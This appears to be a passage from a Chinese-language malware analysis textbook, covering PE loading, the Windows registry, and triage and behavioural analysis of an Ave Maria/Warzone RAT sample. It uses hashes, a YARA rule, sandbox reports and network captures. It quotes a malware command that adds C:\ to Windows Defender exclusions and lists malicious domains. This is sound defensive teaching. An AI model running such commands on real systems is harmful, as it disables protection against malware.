.edata 区段包含有关 PE 文件导出到其他程序的函数的信息,其他程序可以将这些函数导入并加载到内存中供自己使用。例如,DLL 可执行文件通常包含一个导出函数的列表。与导入类似,导出也有自己的表格,称为 导出地址表。
注意
然而,实际上, .edata 和 .idata 区段通常包含在 .rdata 区段中。
现在让我们来看看 Windows 如何将 PE 文件加载到内存中的方式。程序执行过程是 Windows 恶意软件分析中的一个基本概念,它将把你目前所看到的所有概念联系在一起。
Windows PE 加载过程
当你在 Windows 中启动一个可执行文件,比如 Firefox,发生的情况如下:
1. Windows 为 Firefox 程序创建一个新的 EPROCESS 数据结构,并分配一个新的进程 ID。
2. Windows 初始化所需的虚拟内存,为进程创建 PEB 结构,并加载几乎所有 Windows 进程所需的两个库:ntdll.dll和kernel32.dll。然后它准备通过初始化 PE 加载器来加载 Firefox 的 PE 文件。
3. PE 加载器解析 PE 文件的 DOS 头、PE 头和可选头,以收集成功执行文件所需的所有信息。
4. PE 加载器解析段头,以准备将这些段映射到内存中。PE 加载器将每个段映射到新进程中的虚拟内存。
5. PE 加载器加载所有在导入(通常是.idata或.rdata)段中引用的库,并解析所有函数所需的地址。所有地址随后存储在进程中的 IAT 中。
6. 在当前进程中创建一个新的线程,并且加载器执行可执行文件中的首批字节(通常位于.text段中)。
图 1-7 展示了一个 PE 文件被加载并映射到虚拟内存中的过程。

图 1-7:在进程内部加载并映射 PE 文件到虚拟内存
每个 PE 文件中的段都被单独映射到内存中,但由于每个段之间通常有内存区域,因此它们在虚拟内存中是扩展显示的。
注册表
要讨论的最后一个 Windows 概念是注册表,它只是一个操作系统和其他已安装应用程序用来存储配置和设置的数据库。注册表以分层结构存储数据,包含几个主要的根键或hives,每个根键中都包含附加的键(你可以把它们看作是目录),每个键又存储更多的键或值。
值是设置的实际配置。例如,根键HKEY_CURRENT_USER包含一个子键叫做Control Panel,它本身又包含一个名为Mouse的子键。Mouse包含多个值,例如MouseSpeed,它存储当前登录用户的鼠标速度配置。这个注册表键路径可以像 Windows 中的文件或目录路径一样表示:HKEY_CURRENT_USER\Control Panel\Mouse\MouseSpeed。
以下是注册表中最重要的五个 hive:
HKEY_LOCAL_MACHINE (HKLM)
特定于系统的值,例如操作系统和硬件配置、策略和账户设置,以及各种安装软件的设置。
HKEY_CURRENT_USER (HKCU)
与用户设置和系统配置相关的值,例如声音、鼠标、键盘、网络和打印机设置。
HKEY_USERS (HKU)
与系统中每个用户账户的用户设置相关的值。在这个根键下,有几个其他子键以 S 开头(例如 S-1-5-20)。每个子键代表系统中某个用户账户的标识符,并存储该用户的配置信息。
HKEY_CURRENT_CONFIG (HKCC)
指向当前登录用户使用的硬件配置文件的 HKEY_LOCAL_MACHINE 键。对于我们的目的来说,这个键不太重要,因为所有有价值的数据都存储在 HKEY_LOCAL_MACHINE 键中。
HKEY_CLASSES_ROOT (HKCR)
与注册应用程序相关的信息,例如文件关联,它将文件类型与可以处理它们的应用程序相对应。(例如,.doc 文件应该在 Microsoft Word 中打开。)
注册表项以文件形式存储在硬盘上。当 Windows 启动时,这些文件会被加载到内存中,从而建立注册表。系统启动后对注册表的任何更改都会存储在内存中,而不是直接存储在硬盘上。这就是为什么一些恶意软件能够将恶意代码和配置存储在注册表中,而不一定需要访问硬盘的原因。
最后,Windows 有一个内置工具叫做注册表编辑器(Regedit),如图 1-8 所示,所有恶意软件分析人员都应该非常熟悉这个工具。

图 1-8:Windows 中的注册表编辑器工具
Regedit 允许你检查和修改系统上每个注册表项和值,这对于了解注册表如何工作非常有用。Regedit 还可以用于调查恶意软件可能如何更改这些数据。
总结
本章讨论了 Windows 操作系统中使用的一些基本概念、对象和结构,并高层次地探索了 Windows 的架构。我们将在本书的后续部分回到这些概念,研究攻击者如何利用这些特性来执行恶意代码,同时绕过防御措施。在下一章,我们将介绍恶意软件筛查和行为分析过程的基础,为后续章节的调查奠定基础。
第三章:2 恶意软件筛查与行为分析

在本章中,你将学习恶意软件分析的基础知识,这些内容与下一章一起,将为你学习本书余下部分的所有内容打下坚实的基础。我们将从恶意软件分析过程入手,首先进行可疑文件的初步筛查。然后,我们将深入探讨在沙箱环境中的自动化分析,最后讨论在虚拟机中的行为分析。随着章节的进展,我会指出恶意软件筛查和行为分析过程中,特别涉及到规避恶意软件调查的相关领域。本章及整本书中,我将主要聚焦于 Windows 可执行文件。
正如我在导言中所提到的,本书假设你已经具备至少初级的恶意软件分析知识。因此,本章仅提供了快速让你掌握基础知识所需的基本信息,并略过了将在后续章节中详细讨论的概念。在适当的地方,我会指出相关章节。
让我们从分析环境的重要性开始,进入正题。
分析环境
构建一个安全且高效的分析环境对于成功的恶意软件分析至关重要。你应该认真考虑你的分析环境,并根据自己的需求进行定制。恶意软件分析师和研究人员通常使用虚拟机和沙箱,它们提供了一个受控的环境,用于监视恶意软件的行为。因此,恶意软件越来越多地使用虚拟机和沙箱检测与规避技术。
在我们深入之前,明确一些定义是非常重要的。虚拟机(VM)模拟物理计算机,但完全运行在一个被称为虚拟机管理程序(hypervisor)的应用程序内。虚拟机管理程序提供了一种容器,允许恶意代码的安全执行和恶意软件的安全引爆。恶意软件分析沙箱通常(但并非总是)是一种配置为自动分析恶意软件并生成报告或评估恶意软件行为、能力和属性的虚拟机。沙箱的例子包括开源沙箱 Cuckoo 以及专有沙箱 Joe Sandbox 和 Any.Run。关键点在于,几乎所有的恶意软件沙箱都是虚拟机,但并不是每个虚拟机都被配置为恶意软件沙箱。
一个典型的恶意软件分析实验环境通常包括一台主机系统和一个或多个虚拟机(VM)以及沙箱。主机系统存储并运行分析虚拟机和沙箱,并且可能安装有 Windows、Linux 或 macOS 操作系统以及虚拟机监控程序(hypervisor)。虚拟机和沙箱上配置的操作系统和软件取决于分析师正在研究的恶意软件类型。例如,对于 Windows 恶意软件分析,分析师可能会有运行 Windows 7、Windows 10 和 Windows 11 的虚拟机,以及许多专门的恶意软件分析工具。
警告
如果你是一个初学者恶意软件分析师,我强烈建议你在深入恶意软件分析之前先查看附录 A,了解实验室的设置和安全性。恶意软件分析存在风险,重要的是尽可能减少这些风险。
恶意软件分析过程
假设你是一个恶意软件分析师,你收到一个未知的文件进行调查。这个文件可能没有任何额外的上下文,或者它可能是一个更大规模入侵事件的一部分,正在进行中的事件响应调查。无论如何,你都必须回答以下问题:
-
这个文件是什么类型的文件?
-
当文件被打开时,它会做什么?
-
执行后,该文件会创建哪些类型的痕迹?
-
执行的文件是否尝试连接互联网或在本地网络上进行通信?如果是,它连接到哪些 IP 地址或域名?
-
被执行的文件是否表现出潜在恶意活动的迹象,如在感染的系统上隐藏自己、试图窃取敏感数据或试图检测恶意软件分析工具?
-
如果这个文件具有恶意性质,它的能力和意图是什么?
这些问题是一个良好的恶意软件分析过程帮助你解答的。具体过程可能因分析师而异。然而,专家分析师可能会偏离许多已记录的恶意软件分析过程,而初学者分析师可能更倾向于遵循清晰的路径。大多数已发布的恶意软件分析过程都归结为同一件事:从基础开始,随着需要逐步加入更先进的技术。在本章的其余部分,我将讨论恶意软件分析的初期阶段,即恶意软件筛查,接着是手动行为分析。在下一章中,我将深入探讨恶意软件分析过程的后期阶段。
恶意软件初步筛查
分类一词源自医学领域,当资源不足以同时治疗所有患者时,医务人员会对患者进行评估(分类)。重伤患者会优先治疗,而轻微擦伤和淤青的患者可以稍后治疗。恶意软件的分类是类似的概念。当面对多个不同的恶意软件样本需要调查时(例如在一次事件处理中),分析人员必须首先对这些文件进行初步分类,以评估它们的行为,然后决定首先调查哪个样本。
初步分类时有几个目标。首先,你需要确定你正在处理的文件类型。它是 Microsoft Excel 文档?PDF?脚本?可执行文件?答案将影响接下来的恶意软件分析过程。其次,你需要尽可能多地获取有关该文件的信息。例如,该文件是否为公众恶意软件库和其他研究人员所知?这将帮助推动第三个目标,即确定文件是否恶意,如果是的话,它属于哪一类恶意软件。勒索软件?信息窃取者?最后,你应该对文件的功能有一个基本的了解。初步分类的一个主要目标是帮助你确定接下来的恶意软件样本调查步骤。
注意
在接下来的小节中,我将带你了解威胁调查中的基本文件分类步骤。如果你希望跟着一起操作,可以使用以下文件哈希从 VirusTotal 或 MalShare 下载恶意软件文件:
SHA256: 8348b0756633b675ff22ed3b840497f2393e8d9587f8933ac2469d689c16368a
识别文件类型
恶意软件分析中最基本但最重要的步骤之一就是识别文件类型,这将决定你如何开展分析、使用哪些工具,以及采取哪些步骤的顺序。文件的类型由其魔术字节或签名表示,即文件开头的一或多个字节数据。你可以通过十六进制编辑器(如 McAfee FileInsight)查看魔术字节。图 2-1 中展示的文件具有魔术字节4D 5A(在 ASCII 中为MZ),这是 PE 文件常见的标识。

图 2-1:在十六进制编辑器中查看 PE 头部
表 2-1 列出了其他一些常见签名,你还可以通过在维基百科上搜索“文件签名列表”找到更多。
表 2-1: 常见文件签名
| 签名(ASCII) | 魔数字节 | 文件类型 |
|---|---|---|
| 7z¼¯' | 37 7A BC AF 27 1C | 7z 压缩包 |
| ELF | 7F 45 4C 46 | 可执行与链接格式(ELF),一种在 Unix 系统中使用的可执行文件类型 |
| %PDF- | 25 50 44 46 2D | PDF 文件 |
| {\rtf1 | 7B 5C 72 74 66 31 | 富文本格式(RTF)文档 |
| PK | 50 4B 03 04 | ZIP 文件(以及其他使用 .zip 格式的文件,如许多 Microsoft Office 文件) |
除了十六进制编辑器,你还可以使用 file 命令在 Linux 中识别文件类型。这个工具读取文件的签名并以人类可读的格式显示它。只需运行 file 命令,并将恶意文件作为输入参数:
> file suspicious.exe
如你在这里显示的输出中所见,该文件确实是一个可执行文件,具体来说是一个 Windows 32 位 PE 文件:
remnux@remnux:~$ file suspicious.exe
suspicious.exe: PE32 executable (GUI) Intel 80386, for MS Windows
file 命令是一个非常好的通用工具,用于识别许多常见的文件格式,包括非 PE 文件,如文档和归档文件。对于 PE 文件,PE 静态分析工具,或者我所称的PE 筛查工具,非常有用。以 CFF Explorer(https://

图 2-2:加载到 CFF Explorer 中的可执行文件
你可能已经注意到在图 2-2 中有关于文件的其他信息,例如左侧的导入目录和区段头标签。我将在本章和接下来的章节中讨论更多这些属性。注意右下角看似晦涩的 MD5 和 SHA-1 字段。这些是文件的哈希值,我们接下来会讨论。
获取文件的哈希值
文件的哈希是一种指纹,因为它是该文件独有的。当文件经过哈希算法处理时,该算法会生成一个固定大小的字符序列。确切的大小取决于使用的哈希算法。用于恶意软件分析的最常见文件哈希算法是 MD5、SHA-1 和(其中最现代且最可靠的)SHA256。
在图 2-3 中,文件的 MD5 哈希值是C37CFC5C7EFD645BEE48ED745EC12906,其 SHA-1 哈希值是D2DD576536813A87CDC00E87FAC65DA75FB36A0F。这些哈希值唯一标识此文件。请注意,MD5 是一个较老的算法,但今天仍在使用。MD5 和 SHA-1 有发生碰撞的风险,这意味着两个或更多文件可能拥有相同的哈希值;这种情况非常罕见,但仍然会发生。我们在这里不讨论哈希碰撞;可以简单地说,如果你发现两个完全不同的文件具有相同的签名,那么你很可能遇到了碰撞。
一旦你获得了文件的哈希值,就可以利用它从其他来源获取更多有关文件的信息。我们来看看它是如何工作的。
使用 VirusTotal 进行筛查
VirusTotal(https://
-
文件的反恶意软件检测数量(检测率)
-
来自文件的沙箱报告
-
文件的元数据(文件创建者、创建日期等)
-
与文件相关的数字证书
-
Yara 规则匹配(我们稍后会在本章讨论 Yara)
-
许多其他有用的信息
VirusTotal 的一个主要优点是它可以查询非常大的恶意软件数据库中的哈希值。你只需将哈希值粘贴到 VirusTotal 中,它将为该文件执行被动查询,提供所有信息,就像你自己上传文件一样。只要文件在数据库中,VirusTotal 就会提供该文件的报告。运行我们来自 图 2-2 的恶意软件文件的 SHA-1 哈希值(D2DD576536813A87CDC00E87FAC65DA75FB36A0F)会返回如 图 2-3 所示的报告。

图 2-3:来自 图 2-2 的文件的 VirusTotal 报告
你可以看到该文件的检测率为 56/68,这意味着 68 个反恶意软件软件供应商中有 56 个将该文件分类为恶意文件。根据这些信息,我们可以得出结论,这个文件很有可能是恶意软件。除了文件的检测率外,一些供应商还会提供恶意软件的类别和家族名称。根据报告,我们可以合理推测这个恶意软件家族很可能是 Ave Maria,这是一种常见的远程访问木马和信息盗窃者变种。然而需要注意的是,来自 VirusTotal 的恶意软件分类并不总是准确的。恶意软件文件可能被打包过,这可能导致错误分类。第十七章将详细讨论打包技术。
注意
查询 VirusTotal 中的文件哈希值始终是一个好主意。但在实际上传文件之前,你应该考虑文件在 VirusTotal 平台上公开可用的风险。问问自己:这个文件是否包含敏感信息,例如关于我或我公司的数据?这个文件是否是涉及我公司的正在进行的调查的一部分?上传这个文件是否会让恶意软件作者知道他们的恶意软件已经被发现并正在被积极分析?请记住,恶意行为者也在关注 VirusTotal。
查询搜索引擎和其他资源
与 VirusTotal 一起,搜索引擎可以成为恶意软件分类的强大工具。只需将恶意软件的哈希值或文件名(如果它是唯一的)粘贴到你选择的搜索引擎中,查看返回的相关信息。如果该文件已知,你可能会从其他在线恶意软件库和沙箱中获取到有价值的信息。
使用 Google 查询我们恶意软件的 SHA-1 哈希值,返回了如 图 2-4 所示的结果。

图 2-4:使用 Google 查询我们的恶意软件 SHA-1 哈希值
看起来这个文件已经相当有名了!MalwareBazaar 是恶意软件分析师和研究人员的一个很好的资源,它上面有关于这个文件的一些信息。Joe Sandbox(我将在本章稍后介绍)似乎也已经知道这个文件了。探索这些资源可能帮助你在自己分析文件之前,更好地理解它及其功能,从而节省相当多的时间和精力。
现在你应该至少对文件是什么有一个基本的了解,甚至可能知道它属于哪个恶意软件家族,具体取决于它是否在公开仓库中可用。如果文件是未知的,你需要进一步挖掘,以确定它的功能和行为。但这正是恶意软件分析的有趣部分!让我们看看如何调查一个未知文件。
使用 Yara 识别和分类未知恶意软件
Yara(http://
rule AveMaria
{
meta:
`--snip--`
source = "BARTBLAZE"
author = "@bartblaze"
description = "Identifies AveMaria aka WarZone RAT."
category = "MALWARE"
malware = "WARZONERAT"
malware_type = "RAT"
mitre_att = "S0534"
strings:
$ = "AVE_MARIA" ascii wide
$ = "Ave_Maria Stealer OpenSource" ascii wide
$ = "Hey I'm Admin" ascii wide
$ = "WM_DISP" ascii wide fullword
$ = "WM_DSP" ascii wide fullword
$ = "warzone160" ascii wide
condition:
3 of them
}
这个 Yara 规则专门设计用于匹配可能与 Ave Maria / Warzone RAT 相关的样本。它会匹配任何包含 strings 部分中三个或更多字符串的文件。让我们在我们的分析样本上运行这个 Yara 规则。要运行 Yara 规则,请使用以下语法(-s 参数显示恶意文件中的精确字符串匹配):
$ **yara -s** **`rules_file malware_file`**
在我们的样本上运行这个 Yara 规则返回了以下结果:
remnux@remnux:/malware$ **yara -s AveMaria.yar suspicious.exe**
AveMaria 8348b0756633b675ff22ed3b840497f2393e8d9587f8933ac2469d689c16368a
0x162e0:$: A\x00v\x00e\x00_\x00M\x00a\x00r\x00i\x00a\x00 \x00S\x00t\x00e\x00a
x00l\x00e\x00r\x00 \x00O\x00p\x00e\x00n\x00S\x00o\x00u\x00r\x00c\x00e\x00
0x19340:$: H\x00e\x00y\x00 \x00I\x00'\x00m\x00 \x00A\x00d\x00m\x00i\x00n\x00
0x192b0:$: W\x00M\x00_\x00D\x00I\x00S\x00P\x00
0x19cca:$: W\x00M\x00_\x00D\x00I\x00S\x00P\x00
0x166c4:$: W\x00M\x00_\x00D\x00S\x00P\x00
0x1845a:$: W\x00M\x00_\x00D\x00S\x00P\x00
0x13c50:$: warzone160
看起来我们匹配成功了!以 AveMaria 开头的这一行显示了成功匹配的信息,后续的行显示了规则中的哪些字符串在我们的可疑文件上匹配。
Yara 规则可以帮助你快速获取关于你处理的文件的宝贵信息,甚至可能识别出其相关的恶意软件家族。欲了解更多有关 Yara 的信息,请参见 https://
现在,让我们看看如何根据文件的静态属性来评估一个未知文件。
分析静态属性
通过检查文件的静态属性,你可以学到很多关于未知文件的信息。关于这些属性的一些内容已在《PE 文件格式》一文中讨论,详见 第 13 页。
字符串
字符串是各种文件类型中的字符序列。有时,字符串是人类可读的文本,有时则仅仅是字节的序列。无论哪种情况,它们都是检查未知文件的一个很好的起点。提取文件中的字符串最简单的方法是使用 Linux 中的 strings 命令行工具。该工具扫描文件并尝试定位并将二进制数据的字符串转换为人类可读的形式:
> **strings suspicious.exe**
请注意,默认情况下,strings 命令仅会输出 ASCII 字符串。另一种类型的字符串,即 Unicode(或宽字符),可以通过以下命令提取:strings -e l suspicious.exe。输出结果已经揭示了一些有趣的内容:
remnux@remnux:/malware$ **strings suspicious.exe**
`--snip--`
127.0.0.2
abcdefghijklmnopqrstuvwxyzABCDEFGHIJK...
warzone160
.bss
USER32.DLL
MessageBoxA
Assert
An assertion condition failed
PureCall
`--snip--`
最引人注目的是,存在对 warzone160 的引用。快速搜索引擎查询表明,这很可能与 Ave Maria 或 Warzone RAT 恶意软件家族有关,正如你在 图 2-5 中所看到的。这是将开放源代码情报(OSINT)集成到恶意软件分析过程中的一个很好的例子。

图 2-5:在恶意软件中嵌入字符串的 OSINT 调查
对于可执行文件,PE 工具如 PEStudio 非常有用。PEStudio 不仅提取可执行文件中的各种字符串格式,还根据特定特征对这些字符串进行排序和分类,正如你在 图 2-6 中所看到的。

图 2-6:PEStudio 中的字符串分类
PEStudio 已经发现了几条值得注意的字符串:可能的权限提升能力 (Elevation:Administrator),一个命令行命令 (cmd.exe) 和 powershell 和 wmic 引用,还有对 SMTP 服务和密码的引用 (SMTP, POP 等等)。从这些字符串中,你可能推测该文件具备将权限从普通用户提升为管理员的能力;调用 Windows 工具,如 cmd.exe、PowerShell 和 WMIC;并使用 SMTP 进行网络通信。你在字符串中发现的有用信息可以帮助你在调查过程中提供线索,了解恶意软件文件的意图。
另外两个对字符串分析非常有用的工具是 FLOSS 和 StringSifter。FLOSS(https://
remnux@remnux:~$ **floss unknown.exe**
`--snip--`
FLOSS decoded 29 strings
`--snip--`
C:\Program Files (x86)\Microsoft\W0rd.exe
taskkill /f /im W0rd.exe
ZwQueryInformationProcess
`--snip--`
在这种情况下,FLOSS 成功解码了一些显著的混淆字符串,包括一个文件路径(C:\Program Files\Office\W0rd.exe)、一个命令行工具引用(taskkill),以及恶意软件可能稍后导入的一个 Windows 函数(ZwQueryInformationProcess)。在第十六章中,我将讨论恶意软件如何混淆数据的方法,并讨论如何利用 FLOSS 来揭示这些数据。
StringSifter(https://
导入和导出
正如第一章所解释的,导入是可执行文件正在使用的库和函数,而导出是可执行文件为其他函数或程序提供的函数。导入和导出可以用来获取有关可执行文件意图的线索。例如,如果该文件导入了像Winhttp.dll这样的库,我们可以做出合理的猜测(但一定要确认!),它可能尝试联系远程服务器,如命令与控制服务器。
如前所述,PEStudio 可以从恶意软件中提取导入和导出的信息,并以有组织的方式向你展示这些信息,如图 2-7 所示。

图 2-7:PEStudio 中列出的函数导入
在这里,我们可以看到这个恶意软件导入的各种 Windows 函数,并且很可能在执行过程中会调用它们。值得特别关注的函数有BCrypt*函数(可能用于加密或解密数据)、WriteProcessMemory和CreateRemoteThread(可能用于作为进程注入的一部分),以及WriteFile(用于向文件写入数据)。尽管这些并不能作为文件恶意性或能力的决定性证据,但它们是我们在恶意软件分析过程中可以利用的线索。
元数据和其他信息
最后,文件的元数据可以为我们提供有关其意图的线索。PEStudio 可以显示文件的时间戳,这可能表示文件首次编译的时间。它还可以显示有关文件编程语言的信息、PE 文件的各个部分,甚至是可能用于签署文件的嵌入证书。简而言之,你可以使用像 PEStudio 这样的 PE 文件分析工具收集关于文件的丰富附加信息。然而需要注意的是,恶意软件作者可以篡改和伪造元数据,正如本书稍后将讨论的那样。
使用沙箱的自动化恶意软件分诊
在最初评估可疑文件后,你可能仍然会有一些问题。即使你通过初步分析能够确定该样本属于哪种恶意软件家族,你仍然可能需要快速识别其能力并提取关键信息。一个好的选择是使用恶意软件分析沙箱,它可以提供关于样本目的、能力和行为的很多信息。
恶意软件分析沙箱用于自动化恶意软件分析过程中的部分步骤,特别是初步的分诊。当一个文件被提交到自动化沙箱时,它会被引爆(即执行),并且它对系统的行为会被密切监控。自动化沙箱通常会在分析后生成一个报告,列出文件的行为和能力。
在撰写本文时,市面上有许多沙盒,每个沙盒都有不同的特点。虽然有太多优秀的沙盒无法一一列举,但表 2-2 列出了我有过使用经验并且认为值得提及的一些。许多沙盒允许你免费上传文件,但也有一些对于提交文件的数量或其他免费层级存在限制。请注意,列表中的前两个项目(CAPE 和 Cuckoo)并非商业化产品,因此你需要从 GitHub 上下载这些项目并自行构建。此外,请注意,Cuckoo 在本文撰写时已经不再维护,但项目作者正在开发一个新版。
表 2-2: 商业化和免费沙盒选项
| 名称 | 类型 | 来源 |
|---|---|---|
| CAPE | 免费,开源 | https://github.com/kevoreilly/CAPEv2https://capev2.readthedocs.io/ |
| Cuckoo | 免费,开源 | https://github.com/cuckoosandbox |
| Hatching Triage | 商业化,免费提交文件 | https://tria.ge |
| Hybrid Analysis | 商业化,免费提交文件 | https://www.hybrid-analysis.com |
| Intezer | 商业化,免费提交文件 | https://www.intezer.com |
| Joe Sandbox | 商业化,免费提交文件 | https://www.joesecurity.org/ |
| UnpacMe | 商业化,免费提交文件 | https://www.unpac.me/ |
| VirusTotal | 商业,免费提交文件 | https://www.virustotal.com |
| VMRay | 商业 | https://www.vmray.com |
与 VirusTotal 提交一样,任何你提交到公共沙箱的文件都会立即对其他研究人员和全球开放。请尽力确保你提交的文件不包含敏感的个人或商业信息,并考虑样本公开后对调查的影响。
图 2-8 显示了将我们的恶意软件文件提交到 Cuckoo 沙箱实例后的结果。

图 2-8:Cuckoo 沙箱中的恶意软件汇总
这个 Cuckoo 汇总页面包含了很多有用的信息,如基本的文件信息(文件类型、大小、哈希值等)、检测分数(“10 满分!”)甚至是 Yara 签名。似乎 Cuckoo 的 Yara 引擎将这个样本检测为可能是 Gh0st 或 Ave Maria / Warzone。相比之下,Joe Sandbox 报告这个样本为 Ave Maria,正如你在图 2-9 中看到的那样。

图 2-9:Joe Sandbox 中的恶意软件概览
仅仅知道这个恶意软件很可能与 Ave Maria 有关,就已经非常有帮助。这个例子还表明,在多个沙箱环境中触发一个样本从来都不是坏主意。有时,不同的沙箱会给出不同的结果,从而提供更完整的恶意软件图景。让我们在 Joe Sandbox 中更深入地检查这个样本。恶意软件的进程树,如图 2-10 所示,是在沙箱中分析恶意软件样本时的基本信息。

图 2-10:Joe Sandbox 中恶意软件的进程树
这个进程树显示了原始恶意软件可执行文件的进程(cY7cusWGCA.exe)以及所有派生的子进程,这为我们提供了关于恶意软件能力和行为的一些洞察。特别地,PowerShell 进程正在执行命令 Add-MpPreference -ExclusionPath C:\。此命令将恶意软件添加到 Windows Defender 的排除列表中,从而有效绕过了反恶意软件控制。
此外,Joe Sandbox 中的反调试部分,如图 2-11 所示,展示了这个样本可能使用的一些技术,用于检测并防御调试器。

图 2-11:恶意软件在 Joe Sandbox 中的反调试技术
看起来这个恶意软件样本可能使用了动态库加载、手动读取 PEB 以及调用GetProcessHeap等技术来检测调试器。
你还可以看到 Joe Sandbox 已检测到使用了几种潜在的主机防御绕过技术,如进程注入和向 Windows Defender 添加排除项(见图 2-12)。

图 2-12:在 Joe Sandbox 中识别的防御绕过技术
反调试和防御绕过技术将在第十章和第四部分中分别详细讨论。
注意
使用沙箱总是识别和定位恶意软件绕过技术的明智第一步,这样你在必要时可以绕过它们。然而,请记住,沙箱的结果可能是没有定论的,甚至可能是错误的。始终手动检查沙箱结果以验证发现的内容。
最后,使用沙箱是一种快速提取妥协指标(IOCs)的好方法。IOC 可以是网络伪迹(例如,向特定域名或 IP 地址发送的通信,或特定的 HTTP 头部)或主机伪迹(例如,特定的文件名或注册表键修改,或可疑的命令行执行),这些都可以帮助你后续检测该恶意软件并防止其进一步感染主机。关于什么是和什么不是 IOC 的更多信息,请访问 https://
Joe Sandbox 环境能够从这个样本中提取出命令控制 IP 地址,如图 2-13 所示。

图 2-13:Joe Sandbox 提取的恶意软件配置
在沙箱中分析恶意软件样本后,我们现在已经对其许多能力和行为有了相当好的评估。这个恶意软件样本很可能是 Ave Maria 的变种,能够与命令控制地址通信(这意味着它很可能会下载额外的负载),检测调试工具等分析工具,并通过进程注入和反恶意软件绕过技术来逃避主机防御。根据你此次调查的恶意软件分析目标,这些信息可能已经足够。然而,要详细了解一个恶意软件样本,我们需要深入研究。
交互式行为分析
沙箱结果可以提供分析师判断恶意软件意图、目的和潜在影响所需的大部分信息,但关键问题可能仍然没有答案。许多恶意软件沙箱是为了快速而粗略的分析和初步评估而设计的,有时它们不会包含在调查过程中可能需要的详细信息。此外,沙箱无法轻松地动态修改,以根据正在运行的恶意软件调整环境,因此它们的结果可能不完整,尤其是当恶意软件使用了高级的沙箱检测和规避技术时。
交互式行为分析是一个花哨的术语,用于指手动引爆和监控恶意软件在受控环境中的行为,而不是仅仅依赖于像 Cuckoo 这样的沙箱进行完全自动化的引爆。交互式行为分析是一个更加手动、互动的过程,给予你更多的自由。这种交互分析通常是在虚拟机中进行的。
使用交互式行为分析的一个关键原因是,如果恶意软件样本使用了沙箱检测技术,你可以通过模拟真实用户或向恶意软件提供它寻找的东西来尝试破坏这些检测。例如,恶意软件可能会在受害者的系统上搜索特定的文件,而由于我们完全控制交互环境,我们可以提供这个文件,让恶意软件继续执行。完全自动化的沙箱在这方面通常会失败。
我们将要探索的工具是免费的。如果你想跟着操作,你需要在虚拟机环境中下载并安装以下工具:
-
Process Hacker (https://
processhacker ).sourceforge .io -
Fiddler (https://
www ).telerik .com /fiddler -
Wireshark (https://
www ).wireshark .org
注意
在这个分析示例中,我们将使用一个恶意软件样本,你可以通过以下哈希值在 VirusTotal 或 MalShare 上找到该样本:
SHA256: 9bbc55f519b5c2bd5f57c0e081a60d079b44243841bf0bc76eadf50a902aaa61
监控恶意软件行为
交互式行为分析的一个重要部分是监控恶意软件在受害主机上的行为或操作。一个常用的工具是 Process Monitor(Procmon),它是 Sysinternals 套件的一部分。Procmon 可以捕获恶意软件在主机上执行的许多操作细节,比如创建进程、读取和写入文件及注册表、以及尝试连接网络等。图 2-14 显示了 Procmon 中一个可疑 Microsoft Word 文件的进程树。

图 2-14:在 Procmon 中分析恶意软件样本的进程树
你可以看到,WINWORD.EXE(Microsoft Word)正在生成一个可疑的进程(rundll32.exe),这是一个值得进一步调查的结果。进程树还可以用来分析父子进程关系并发现代码注入机制。我们将在第十二章讨论代码注入。
通过检查 Procmon 的文件部分,我们可以看到这个文件正在创建一些可疑的附加文件(参见图 2-15)。

图 2-15:在 Procmon 中查看可疑的文件写入
这里需要注意的主要是WriteFile操作,后面跟着文件写入的路径。在分析过程中,这两个文件(diplo.ioe和flex.xz)应该进一步检查。
类似地,图 2-16 显示了 Procmon 的注册表选项卡。

图 2-16:在 Procmon 中查看注册表查询
这里显示的rundll32.exe进程正在执行RegQueryValue操作,这表明它正在读取主机上的多个注册表值。它特别感兴趣的注册表项似乎都与域、主机名和网络适配器信息相关。读取注册表操作不一定是恶意的,因为所有 Windows 应用程序都必须读取注册表中的不同分支才能正常运行,但有时它们可能会暗示恶意软件的目的。在本书中你将看到,对于有针对性和规避性的恶意软件,它可能在枚举注册表和文件系统,寻找特定的值或模式,例如特定的主机名或文件路径。
Procmon 始终是交互式行为分析的一个不错的起点。在 Procmon 中揭示的可疑活动可以帮助进一步指导你的调查。例如,如果恶意软件正在写入一个奇怪的文件或读取一个可疑的注册表项,交互式分析的一部分就是实时调查这些路径!
另一个用于交互式分析的工具是 Process Hacker,它与类似的工具(如 Process Explorer)一起,可以用来检查进程树、调查恶意软件进程的内存等。内存检查是一个特别有用的任务;你可以通过右键点击目标进程,选择属性,然后选择内存选项卡来进行检查。你甚至可以查询内存中特定的字符串模式。搜索http是一个不错的开始,正如你在图 2-17 中看到的那样。

图 2-17:在 Process Hacker 中查询进程内存中的字符串模式
显示的内存字符串包含一些可疑数据。我们可以看到多个域名的 URL,比如armerinin.com和siguages.ru,这些应该进一步调查。恶意软件可能正在使用这些域名进行命令与控制,或者下载更多恶意软件。让我们来验证这个理论。
检查恶意软件网络流量
许多恶意软件样本会在某些时候尝试连接到互联网的远程服务器。它们这样做可能有多种原因,包括以下几点:
-
下载附加的恶意文件、有效负载和模块
-
与命令与控制服务器通信,请求进一步指令
-
将窃取的信息(如凭证或文件)发送到远程服务器(通常称为外泄)
-
确定受感染主机是否当前已连接到互联网,或获取主机的公共 IP 地址(通常用于沙盒检测和规避技术)
无论出于什么原因,识别恶意软件连接的时间和目标非常重要。Web 代理是一种可以拦截和操控主机与外界之间网络流量的工具,它是一个非常好的恶意软件分析工具。Web 代理 Fiddler,如图 2-18 所示,捕获了一些可疑的恶意软件互联网连接尝试。

图 2-18:Fiddler Web 代理中的恶意软件互联网连接尝试
你可以看到 Fiddler 拦截了对api.ipify.org的网页请求,以及另外三个网站(armerinin.com、houniant.ru和siguages.ru)。如果你在 VirusTotal 上查询这三个域名,你很可能会看到它们被标记为恶意。(至少在写作时它们是这样标记的。)这个恶意软件很可能试图从这些域名之一下载更多的恶意软件。api.ipify.org网站只是返回主机的外部公共 IP 地址。为什么恶意软件要联系这个网站?一种可能性是恶意软件实际上是在尝试获取主机的公共 IP 地址,以确定其托管的国家。另一种可能的原因是确定主机是否在线。以上两种信息都可以用于反分析和规避,我将在本书中深入讨论相关技术。
流行的网络监控工具 Wireshark 也可以用来捕获互联网连接活动。此外,Wireshark 还可以捕获一般的网络活动,例如不指向互联网的流量,比如局域网内的主机对主机通信。图 2-19 展示了这个恶意软件样本在 Wireshark 中的部分网络连接情况。

图 2-19:在 Wireshark 中捕获的恶意软件 DNS 请求
你可以轻松地发现 DNS 请求,它们指向 Fiddler 发现的相同主机名。
